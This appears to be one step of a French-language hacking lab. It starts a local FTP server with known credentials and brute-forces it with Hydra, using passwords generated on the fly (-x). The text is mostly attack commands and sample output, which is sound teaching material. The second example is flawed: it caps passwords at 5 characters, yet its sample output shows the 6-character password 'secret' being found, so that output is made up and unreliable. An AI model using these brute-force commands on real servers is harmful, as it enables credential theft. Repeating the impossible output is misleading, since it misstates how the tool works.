Attaquer un serveur FTP avec des mots de passe générés
Dans cette étape, vous utiliserez les capacités de génération de mots de passe d'Hydra pour attaquer un serveur FTP fictif. Vous utiliserez une liste de mots de passe générée "à la volée" avec l'option -x.
Tout d'abord, vous devez configurer un serveur FTP simple pour les tests. Vous utiliserez python3-pyftpdlib, qui est une bibliothèque de serveur FTP légère pour Python.
Installez python3-pyftpdlib si ce n'est pas déjà fait :
sudo apt update
sudo apt install -y python3-pyftpdlib
Démarrez le serveur FTP en arrière-plan sur le port 2121, servant les fichiers depuis le répertoire ~/project. L'option -w permet l'accès en écriture.
nohup python3 -m pyftpdlib -p 2121 -w -u testuser -P secret ~/project > /dev/null 2>&1 &
La partie nohup ... & exécute la commande en arrière-plan et l'empêche de s'arrêter si vous fermez le terminal. > /dev/null 2>&1 redirige la sortie standard et l'erreur standard vers /dev/null, gardant votre terminal propre. Les options -u testuser -P secret configurent un utilisateur avec le mot de passe "secret" qui peut accéder au serveur.
Maintenant, vous utiliserez Hydra pour attaquer ce serveur FTP. Vous utiliserez l'option -x pour générer des mots de passe et tenter de vous connecter en tant qu'utilisateur "testuser".
Exécutez la commande suivante dans le terminal :
hydra -l testuser -vV -x 4:6:a-z 127.0.0.1 ftp -s 2121
Décomposons cette commande :
hydra : L'outil en ligne de commande Hydra.
-l testuser : Spécifie le nom d'utilisateur à utiliser : "testuser".
-vV : Active la sortie détaillée, affichant chaque tentative de connexion.
-x 4:6:a-z : Indique à Hydra de générer des mots de passe avec :
4 : Longueur minimale de 4 caractères.
6 : Longueur maximale de 6 caractères.
a-z : Utiliser uniquement les lettres minuscules (a-z).
127.0.0.1 : L'hôte cible (localhost). Vous utilisez 127.0.0.1 au lieu de localhost pour éviter d'éventuels problèmes de résolution DNS dans le conteneur.
ftp : Le service à attaquer (FTP).
-s 2121 : Spécifie le numéro de port. Vous ciblez le serveur FTP exécuté sur le port 2121.
Vous devriez voir Hydra tenter des connexions avec les mots de passe générés. Puisque le serveur FTP est configuré avec des identifiants spécifiques (nom d'utilisateur : testuser, mot de passe : secret), Hydra trouvera le mot de passe correct lorsqu'il générera "secret" lors de ses tentatives de force brute.
Important : Utilisez Ctrl+C pour arrêter l'attaque, car elle prendra beaucoup de temps à se terminer.
La sortie affichera les tentatives de connexion et éventuellement un message de connexion réussie.
Hydra v[...] (c) 2023 by van Hauser / THCO
...
[ATTEMPT] target 127.0.0.1:2121 service ftp on device eth0 - login testuser password aaaa
[ATTEMPT] target 127.0.0.1:2121 service ftp on device eth0 - login testuser password aaab
...
[2121][ftp] host: 127.0.0.1 login: testuser password: secret
Essayons maintenant un exemple légèrement plus complexe, combinant les lettres minuscules et les chiffres :
hydra -l testuser -vV -x 3:5:a-z0-9 127.0.0.1 ftp -s 2121
Ceci générera des mots de passe comme "aaa", "aab", "aac", et ainsi de suite, en parcourant systématiquement toutes les combinaisons de 3 caractères d'abord, puis de 4 caractères, et enfin de 5 caractères. Observez la sortie pour voir les mots de passe générés et la connexion réussie.
Hydra v[...] (c) 2023 by van Hauser / THCO
...
[ATTEMPT] target 127.0.0.1:2121 service ftp on device eth0 - login testuser password aaa
[ATTEMPT] target 127.0.0.1:2121 service ftp on device eth0 - login testuser password aab
...
[2121][ftp] host: 127.0.0.1 login: testuser password: secret
Cette étape a démontré comment utiliser Hydra avec l'option -x pour générer des mots de passe et attaquer un serveur FTP. N'oubliez pas d'utiliser ces techniques de manière responsable et éthique.